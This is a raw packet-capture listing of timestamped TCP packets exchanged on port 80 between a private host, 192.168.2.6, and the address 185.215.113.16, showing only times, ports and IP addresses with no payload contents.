Dec 9, 2024 18:20:54.079535961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.079536915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.079576015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.080514908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.080528975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.080542088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.080571890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.080601931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.080863953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.080881119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.080914021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.080944061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.081382990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.081433058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.081571102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.081617117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.082042933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.082056046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.082094908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.082096100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.082138062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.082483053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.082535028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.082762957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.082809925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.082880974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.082931042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.083607912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.083653927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.083981991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.084028959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.084144115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.084192038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.084388971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.084435940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.084739923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.084788084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.085151911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.085196972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235107899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235121965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235132933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235143900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235155106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235166073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235188007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235194921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235199928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235223055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235235929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235243082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235259056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235269070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235272884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235285997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235294104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235297918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235310078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235322952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235325098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235348940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235356092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235362053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235378027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235384941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235387087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235411882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235416889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235428095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235434055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235440969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235451937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235455990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235469103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235479116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235485077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235516071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235516071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235527039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235538960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235555887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235555887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235579967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235590935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235594988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235601902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235614061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235625029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235631943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235635996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235646963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235660076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235687017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235744953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235757113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235768080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235779047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235783100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235809088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235810995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235820055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235836029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235846043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235857964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235867977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235868931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235879898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235891104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235903025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235915899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235920906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235949993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235958099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235970020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235975027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.235980034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235991001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.235994101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.236004114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.236015081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.236016989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.236047029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.236064911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.262207985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.262286901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.268307924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.268374920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.294450998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.294523001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.296946049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.296957970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.296968937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.297000885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.297050953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.300822020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.300834894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.300853014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.300893068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.300932884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.301320076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.301364899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.311341047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.311387062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.322278023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.322299957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.322309971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.322346926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.322349072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.322371960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.322403908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.323128939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.323180914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.353636026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.353734016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.358134031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.358148098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.358158112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.358194113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.358232021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.358688116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.358695984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.358732939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.359683990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.359694958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.359704971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.359764099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.359765053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.360419989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.360466003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.361362934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.361376047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.361385107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.361397028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.361406088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.361426115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.362291098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.362322092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.362329960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.362365961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.363074064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.363086939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.363116026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.363126993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.363888979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.363910913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.363931894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.363950014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.364703894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.364717007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.364743948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.364762068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.365199089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.365211010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.365223885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.365241051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.365252018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.365813971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.365859985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.365873098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.365899086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.366683006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.366695881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.366713047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.366738081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.366738081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.366760015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.367502928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.367543936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.368161917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.368175983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.368186951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.368201017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.368204117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.368216991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.368247986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.368892908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.368933916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.369858027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.369883060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.369895935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.369909048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.369920015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.369946003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.370810032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.370842934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.370862961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.370876074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.371290922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.371332884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.371346951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.371360064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.371386051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.371397972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.372019053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.372025013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.372070074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.373123884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.373136044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.373158932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.373172998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.373199940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.373965025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.374012947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.374654055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.374672890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.374685049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.374707937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.374718904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.375464916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.375494957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.375505924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.375514030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.375544071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.376255989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.376266956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.376307011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.376995087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.377007961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.377042055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.377067089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.377826929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.377832890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.377837896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.377873898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.377898932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.378602982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.378614902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.378624916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.378658056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.378679991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.380299091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.380352020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.381036997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.381048918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.381061077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.381072998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.381078959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.381092072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.381120920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.381870031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.381921053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.382683992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.382697105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.382708073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.382733107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.382766008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.383523941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.383558989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.383575916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.383595943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.384327888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.384341002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.384351969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.384377956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.384413958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.384919882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.384932995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.384968042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.385787964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.385798931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.385817051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.385837078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.385852098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.386506081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.386543036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.386553049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.386581898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.387296915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.387339115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.387340069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.387378931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.388106108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.388154030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.388155937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.388194084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.453325033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.453450918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.453457117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.453501940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.453859091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.453901052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.453979969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.454022884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.454895973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.454911947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.454941034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.454956055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.455437899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.455507994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.455571890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.455615997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.456496954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.456510067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.456558943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.457021952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.457032919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.457086086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.457672119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.457725048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.458498001 CET	80	49828	185.215.113.16	192.168.2.6
